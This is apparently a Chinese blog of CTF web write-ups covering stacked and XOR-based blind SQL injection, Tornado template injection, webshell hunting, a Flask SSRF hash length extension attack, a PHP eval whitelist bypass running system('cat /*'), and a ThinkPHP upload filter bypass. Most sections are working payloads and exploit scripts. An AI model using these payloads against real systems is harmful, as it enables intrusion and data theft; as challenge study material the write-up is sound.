知乎上有个问题:“如何忘记一个人?”
有个人回答:“两千多个答案,没一个有用。”
随便注
2019 强网杯
解法一:堆叠注入 1 /?inject=233';show tables;#
可以看到有两个表~
先介绍一下prepare语法: PREPARE test from ‘我们的sql语句’;//预定义好sql EXECUTE test (如果sql有参数的话, USING xxx,xxx); // (这里USING的只能是会话变量)执行预定义的sql DEALLOCATE PREPARE test;//释放数据库连接
所以可以构造如下:
1 2 3 ?inject=233';set @sql =select * from `1919810931114514` ; prepare pay from @sql ;execute pay;
页面返回内容为:
1 return preg_match("/select|update|delete|drop|insert|where|\./i" ,$inject);
使用正则匹配过滤了以上关键字,并且大小写绕过是不行滴。那我们可以改成这样:
1 2 3 ?inject=233';set @sql =concat ('se' ,'lect * from `1919810931114514`' ); prepare pay from @sql ;execute pay;
concat()函数介绍: 用于将多个字符串连接成一个字符串。 mysql CONCAT(str1,str2,…) 返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
页面返回内容为:
1 strstr($inject, "set" ) && strstr($inject, "prepare" )
strstr()函数介绍: 用于查找字符串的首次出现 语法:strstr ( string `$haystack` , mixed `$needle` [, bool `$before_needle` = FALSE ] ) : string 返回 haystack
字符串从 needle
第一次出现的位置开始到 haystack
结尾的字符串。
该函数区分大小写。如果想要不区分大小写,请使用 stristr() 。
区分大小写的意思是如果是小写的就不能判断出大写的。。。 该函数不能区分大小写,所以我们大写即可。 它不能区分大小写,所以使用它的时候是区分大小写的。。。 所以也就是:该函数区分大小写=该函数不能区分大小写。嗯很有道理。!
所以对于这个检测,可以直接通过大写绕过:
1 2 3 ?inject=233';sEt @sql =concat ('se' ,'lect * from `1919810931114514`' ); prEpare pay from @sql ;execute pay;
然后就能看到flag~
此外,还能采用hex编码的形式,在python2中~
利用其构造的payload为:
1 2 3 ?inject=233';sEt @sql =0x73656c656374202a2066726f6d20603139313938313039333131313435313460 ; prEpare pay from @sql ;execute pay;
解法二:
参考赵师傅的博客:https://www.zhaoj.in/read-5873.html
1 /?inject=233 ';show columns from `1919810931114514`;#
1 /?inject=233 ';show columns from words;#
接下来不太懂,咋就看粗来words表是默认查询的表了鸭…
把191那个表改名为words,把flag列改为id列:
1 2 3 4 /?inject=233 ';RENAME TABLE `words` TO `words1`; RENAME TABLE `1919810931114514` TO `words`; ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL; show columns from words;#
再访问:
太神奇了叭…
easy_tornado
2018 护网杯
oj上的题做了一点点小改动鸭,三个文件内容如下:
1 2 3 4 5 6 7 8 /flag.txt flag in /fllllllllllllag /welcome.txt render /hints.txt md5(cookie_secret+md5(filename))
读取文件需要两个参数filename和filehash。其中,filehash=md5(cookie_secret+md5(filename)),但是headers里面并没有cookie值。那就只能谷歌一下tornado render什么的了。解法是在报错页面里模板注入。
通过读取error?msg=可以得到:
1 {'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'da53eb64-a805-4d4e-bdc2-fda1e66c587e'}
这样cookie_secret就知道了,然后就是计算filehash了,下面提供两种脚本~
PHP代码:
1 2 3 4 5 6 7 <?php $str = "/fllllllllllllag" ; $a=md5($str); $str2 = "da53eb64-a805-4d4e-bdc2-fda1e66c587e" ; $str3=$str2.$a; echo md5($str3);?>
python代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 import hashlib def md5 (s) : md5 = hashlib.md5() md5.update(s) return md5.hexdigest() def sol () : filename = '/fllllllllllllag' a ="da53eb64-a805-4d4e-bdc2-fda1e66c587e" print(md5(a+md5(filename))) sol()
跑出来的hash值为 - -
利用其访问就行了鸭~
1 file?filename=/fllllllllllllag&filehash=75b7a43f3540e10cd317045514812aba
高明的黑阔
2019 强网杯
参考wp:https://mochazz.github.io/2019/05/27/2019强网杯Web部分题解/#高明的黑客
这道题有点猛…
根据提示下载源码,给了一大堆混乱的文件,需要从这些文件中找能用的shell…
写脚本批量扫描一下类似eval($_GET[x])
或system($_GET[x])
等shell。
先进入该文件目录,使用PHP7.0以上版本开个端口,作为本地服务器:
话说这里, -S 127.0.0.0:8000可以正常访问, -S localhost:8000就不能访问, 什么鬼…
访问localhost:8888,能够看到页面显示正常,就开始跑脚本 - -
直接借用了这个nb师傅的脚本(tqltqltql~):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import os,reimport requestsfilenames = os.listdir('/var/www/html/src' ) pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]" ) for name in filenames: print(name) with open('/var/www/html/src/' +name,'r' ) as f: data = f.read() result = list(set(pattern.findall(data))) for ret in result: try : command = 'uname' flag = 'Linux' if 'GET' in ret: passwd = re.findall(r"'(.*)'" ,ret)[0 ] r = requests.get(url='http://127.0.0.1:8888/' + name + '?' + passwd + '=' + command) if flag in r.text: print('backdoor file is: ' + name) print('GET: ' + passwd) elif 'POST' in ret: passwd = re.findall(r"'(.*)'" ,ret)[0 ] r = requests.post(url='http://127.0.0.1:8888/' + name,data={passwd:command}) if flag in r.text: print('backdoor file is: ' + name) print('POST: ' + passwd) except : pass
确实跑了很久,大概在中间位置能看到成功的shell - -
然后利用这个shell,去cat flag叭~
Hack World
CISCN2019 华北赛区
参考wp:http://www.n0puple.com/index.php/archives/53/#cl-6 https://southseast.cc/2019/07/19/2019-CISCN-Northern/
POST方式提交id值,随便尝试一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 id=1 Hello, glzjin wants a girlfriend. id=2 Do you want to be my girlfriend? id=0 or id=3++ Error Occured When Fetch Result. id=1' bool(false) id=1' (此处有个空格) SQL Injection Checked.
通过各种尝试,大概过滤了空格,#,-,+,and,or,&,|
可以用异或注入绕过:
记性不好,忘了异或咋算的了…同为0,异为1:
1^1=0^0=0 1^0=0^1=1
1^0^1=0 1^1^1=1
…
为了使id=1,可以直接和0异或,只要异或那部分为1就行了鸭。
师傅们的思路是利用了substr函数进行比较,当返回为1时就说明判断正确,从而一位一位地得到flag的值。
substr函数介绍:
返回字符串的一部分。
substr(string,start,length)
flag肯定是f开头的,这是判断条件。空格被过滤了,可以用%0a或者()代替,比如以下两个paylaod both 🆗:
1 2 1^(substr((select%0aflag%0afrom%0aflag),1,1)>'e')^1 0^(substr((select(flag)from(flag)),1,1)>'e')
我先试了一下:
1 2 3 4 5 6 7 8 0^(substr((select(flag)from(flag)),0,1)='f') Error Occured When Fetch Result. 0^(substr((select(flag)from(flag)),1,1)='f') Hello, glzjin wants a girlfriend. 0^(substr((select(flag)from(flag)),0,1)='') Hello, glzjin wants a girlfriend.
说明后面两个注入成功了,讲道理为啥是从1开始,不是0才表示第一个字符串开始的吗…没学过PHP的窝一脸懵逼…
但是还有一点需要注意,flag里面可能是有-号的(实际上也确实有)。但是-号被过滤了,我们可以选择将其转换成ascii码进行输入。
1 2 0^(ascii(substr((select(flag)from(flag)),1,1))='102') Hello, glzjin wants a girlfriend.
话说,感觉在python2中,数字永远比字符串小,不知道这句话对不对…
>>>9999999999999999<’a’ True
>>>‘9999999999999999’<’a’ True
然后就开始上脚本跑叭:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestsurl = "http://f6c08544-9822-459f-94e1-2028af27b3b2.node1.buuoj.cn/index.php" s = requests.session() i = 1 flag = '' while 1 : status = 1 for x in 'abcdefghijklmnopqrstuvwxyz0123456789{}-' : payload = "0^(ascii(substr((select(flag)from(flag)),{0},1))={1})" .format(str(i),str(ord(x))) data = { 'id' : payload } html = s.post(url,data=data).text if "Hello, glzjin wants a girlfriend." in html: flag += x status = 1 print(flag) break else : status = 0 if status == 0 : print("flag is above!~" ) i+=1
大概跑个两分钟左右就有flag啦~
ssrf me
De1ta 2019
参考wp:https://ctftime.org/writeup/16070
官方wp:https://github.com/De1ta-team/De1CTF2019/tree/master/writeup/web/SSRF%20Me
题目给了接口的Flask应用程序的源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 from flask import Flask from flask import request import socket import hashlib import urllib import sys import os import json reload(sys) sys.setdefaultencoding('latin1' ) app = Flask(__name__) secert_key = os.urandom(16 ) class Task : def __init__ (self, action, param, sign, ip) : self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if (not os.path.exists(self.sandbox)): os.mkdir(self.sandbox) def Exec (self) : result = {} result['code' ] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w' ) resp = scan(self.param) if (resp == "Connection Timeout" ): result['data' ] = resp else : print resp tmpfile.write(resp) tmpfile.close() result['code' ] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r' ) result['code' ] = 200 result['data' ] = f.read() if result['code' ] == 500 : result['data' ] = "Action Error" else : result['code' ] = 500 result['msg' ] = "Sign Error" return result def checkSign (self) : if (getSign(self.action, self.param) == self.sign): return True else : return False @app.route("/geneSign", methods=['GET', 'POST']) def geneSign () : param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param) @app.route('/De1ta',methods=['GET','POST']) def challenge () : action = urllib.unquote(request.cookies.get("action" )) param = urllib.unquote(request.args.get("param" , "" )) sign = urllib.unquote(request.cookies.get("sign" )) ip = request.remote_addr if (waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/') def index () : return open("code.txt" ,"r" ).read() def scan (param) : socket.setdefaulttimeout(1 ) try : return urllib.urlopen(param).read()[:50 ] except : return "Connection Timeout" def getSign (action, param) : return hashlib.md5(secert_key + param + action).hexdigest() def md5 (content) : return hashlib.md5(content).hexdigest() def waf (param) : check=param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return False if __name__ == '__main__' : app.debug = False app.run(host='0.0.0.0' ,port=80 )
解法一(非预期解): 内容大概是利用flask
写了一个task
类和以下三个路由:
1 2 3 4 5 6 7 8 9 10 11 /geneSign return getSign(action, param) 生成签名。 /De1ta 执行challenge()函数, 利用cookies和GET方式提交的参数中的action,param,sign构造一个新的Task对象, 然后调用Exec()方法,返回json结果。 / 获取源码。
分析一下Exec()
函数:
1 2 Exec(self) 首先调用了checkSign()函数,检查sign的值是否和getSign()运算结果一致。
而在checkSign()
函数中,调用了getSign()
函数:
1 2 getSign(action, param) 将secret_key,param和action拼接然后md5
必须要通过过getSign()
的检查才能继续执行Exec()
函数。在getSign()
函数中,是将secret_key + param + action
三个参数拼接之后进行md5计算。其中,secret_key
是App产生的随机值,我们是不可能知道的。那还有哪儿可以产生sign呢?geneSign()
函数:
1 2 3 4 def geneSign () : param = urllib.unquote(request.args.get("param" , "" )) action = "scan" return getSign(action, param)
通过向/geneSign
发送请求,会生成一个sign值,不过它只允许我们传递一个param
值,并且acion
的值被设置为了"scan"
。
有了一个有效的sign值,就能通过检查,Exec()
继续执行。
1 2 检查action中是否有scan,如果有则将scan读到的内容写入沙盒中的文件。 检查action中是否有read,如果有则将刚才写入的文件读出。
来看一看scan
函数:
1 2 3 4 5 6 def scan (param) : socket.setdefaulttimeout(1 ) try : return urllib.urlopen(param).read()[:50 ] except : return "Connection Timeout"
它调用了我们的param
,使用urllib.urlopen()
执行请求。
如果想要读取本地文件,我们一般会用"file://"
协议,但是在/De1ta
路由中,调用了waf(param)
进行检查,waf()函数内容为:
1 2 3 4 5 def waf (param) : check=param.strip().lower() if check.startswith("gopher" ) or check.startswith("file" ): return True else : return False
它检查param
是否是以gopher
或者file
开头,如果是,在challenge()
函数中就会直接返回"No Hacker!!!!"
题目有给一个hint:
flag is in ./flag.txt
如果要读取这个flag.txt
文件,就必须要有一个有效的sign
并且action
中包含有"read"
。默认情况下,getSign
生成的是action="scan"
的签名。如果我们能够伪造一个"readscan"
给action
,那就可以成功地读取文件了。
geneSign()
函数会调用getSign()
,将三个参数拼接之后,再进行md5哈希计算,所以我们可以传递"flag.txtread"
给param
,因为:
1 2 param = "flag.txtread" action = "scan"
1 2 param = "flag.txt" action = "readscan"
以上两种情况,会生成相同的哈希值。
上脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 import requestsdef geneSign (param) : return requests.get("http://127.0.0.1:8083/geneSign?param=" +param).text Param = "flag.txt" param = Param+"read" sign = geneSign(param) param = Param action = "readscan" flag = requests.get("http://127.0.0.1:8083/De1ta?param=" +param, cookies={"action" :action,"sign" :sign}).text print(flag)
复现环境下的flag实在是太真实了叭…
解法二(预期解):哈希长度扩展攻击 原理官方文档都有,就不赘述了。可以利用hashpump - -
然后在请求头中添加Cookie值 - -
也可以直接上脚本,这里直接搬赵师傅 的了☺(python2):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import hashpumpyimport requestsimport urlliburl = 'flag.txt' r = requests.get('http://127.0.0.1:8083/geneSign' , params={'param' : url}) sign = r.text hash_sign = hashpumpy.hashpump(sign, url + 'scan' , 'read' , 16 ) r = requests.get('http://127.0.0.1:8083/De1ta' , params={'param' : url}, cookies={ 'sign' : hash_sign[0 ], 'action' : urllib.quote(hash_sign[1 ][len(url):]) })
love math
CISCN 2019
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting(0 ); if (!isset ($_GET['c' ])){ show_source(__FILE__ ); }else { $content = $_GET['c' ]; if (strlen($content) >= 80 ) { die ("太长了不会算" ); } $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ]; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m' , $content)) { die ("请不要输入奇奇怪怪的字符" ); } } $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'base_convert' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'dechex' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ]; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' , $content, $used_funcs); foreach ($used_funcs[0 ] as $func) { if (!in_array($func, $whitelist)) { die ("请不要输入奇奇怪怪的函数" ); } } eval ('echo ' .$content.';' ); }
c
的长度需要小于80,过滤了空格、制表符、换行、单引号、双引号、反引号、左右方括号。输入的字符串只能是$whitelist
中的函数。要想办法从函数返回结果中获取任意字符串。
base_convert
函数可以返回任意字符,但它无法返回特殊字符:
1 2 3 4 5 php > echo base_convert('phpinfo()' ,36 ,10 ) php > ; 55490343972 php > echo base_convert(55490343972 ,10 ,36 ); phpinfo
老是忘记打分号…
那就先尝试一下c=base_convert(55490343972,10,36)()
能够成功执行,再试一下system(‘ls’)
1 c=base_convert(1751504350 ,10 ,36 )(base_convert(784 ,10 ,36 ))
可以看到返回了index.php,但是并没有flag.php。看一下根目录:(复现的环境下,flag的位置是/flag
。
1 2 3 4 5 ($pi=base_convert)(1751504350 ,10 ,36 )($pi(1438255411 ,14 ,34 )(dechex(1819484207 ))) system('ls /' ) bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var var
找到了flag的位置,现在尝试读取其中的内容。
方法一是利用php函数readfile()
读取文件
原题是flag.php文件,所以需要异或出.
,这里的话就可以省掉了。
为了尽可能减小payload长度,可以给base_convert取一个别名,在白名单里面,最短的就是pi
了。
1 2 3 ($pi=base_convert)(2146934604002 ,10 ,36 )($pi(1438255411 ,14 ,34 )(dechex(203581841767 ))) readfile(/flag)
但是这个payload长度超了。
方法二是利用系统命令执行读取文件的命令。
这里可以使用白名单中的函数dechex()
,括号中写命令的十进制格式,而这个函数能将其转换成命令的十六进制格式,然后再利用base_convert构造出hex2bin
函数将其转换回命令的ASCII字符。
所以可以构造payload为:
1 2 3 ($pi=base_convert)(1751504350 ,10 ,36 )($pi(1438255411 ,14 ,34 )(dechex(109270211243818 ))) system(hex2bin(dechex(109270211243818 ))) -> system('cat /*' )
但是长度还是超了。
换成exec命令试试。
1 2 ($pi=base_convert)(22950 ,23 ,34 )($pi(1438255411 ,14 ,34 )(dechex(109270211243818 ))) exec('cat /*' )
嗯可以成功getflag。
此外,nl
命令也可以读取文件。
1 2 3 ($pi=base_convert)(22950 ,23 ,34 )($pi(1438255411 ,14 ,34 )(dechex(474260451114 ))) ($pi=base_convert)(696468 ,10 ,36 )($pi(1438255411 ,14 ,34 )(dechex(474260451114 ))) exec(nl
方法三是异或出_GET
。
1 2 n^1=_ v^1=G t^1=E e^1=T 'nvte'^'1111'->_GET
所以构造出:
1 $pi=base_convert;$pi=$pi(1114322 ,10 ,36 )^$pi(47989 ,10 ,36 );${$pi}{0 }(${$pi}{1 })
payload就是:
1 0 =system&1 =cat /flag&c=$pi=base_convert;$pi=$pi(1114322 ,10 ,36 )^$pi(47989 ,10 ,36 );${$pi}{0 }(${$pi}{1 })
OK
simple_upload
RoarCTF 2019
参考链接:https://www.fuzzer.xyz/2019/10/14/RoarCTF2019%20web%20writeup/
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php namespace Home \Controller ;use Think \Controller ;class IndexController extends Controller { public function index () { show_source(__FILE__ ); } public function upload () { $uploadFile = $_FILES['file' ] ; if (strstr(strtolower($uploadFile['name' ]), ".php" ) ) { return false ; } $upload = new \Think\Upload(); $upload->maxSize = 4096 ; $upload->allowExts = array ('jpg' , 'gif' , 'png' , 'jpeg' ); $upload->rootPath = './Public/Uploads/' ; $upload->savePath = '' ; $info = $upload->upload() ; if (!$info) { $this ->error($upload->getError()); return ; }else { $url = __ROOT__.substr($upload->rootPath,1 ).$info['file' ]['savepath' ].$info['file' ]['savename' ] ; echo json_encode(array ("url" =>$url,"success" =>1 )); } } }
这是一个ThinkPHP框架,搜了一下,大概是根据3写的。可以知道文件上传目录是在:
1 /index.php/Home/Index/upload
进入后是直接一个跳转,那就burp抓包然后改为POST文件。
原配置文件中有一句:
1 $file['name' ] = strip_tags($file['name' ]);
该函数会去除文件名中的HTML标签,所以可以用.<br>php之类的绕过检测,上传成功后,访问该目录就是flag。
此外,在配置中可以看到文件名是使用uniqid()
函数根据时间生成的 - -
所以如果文件上传时间相近就可以爆破出我们跟着上传的.php文件的存放路径。师傅的博客上放了脚本。
在人海相遇的人,迟早要归还人海。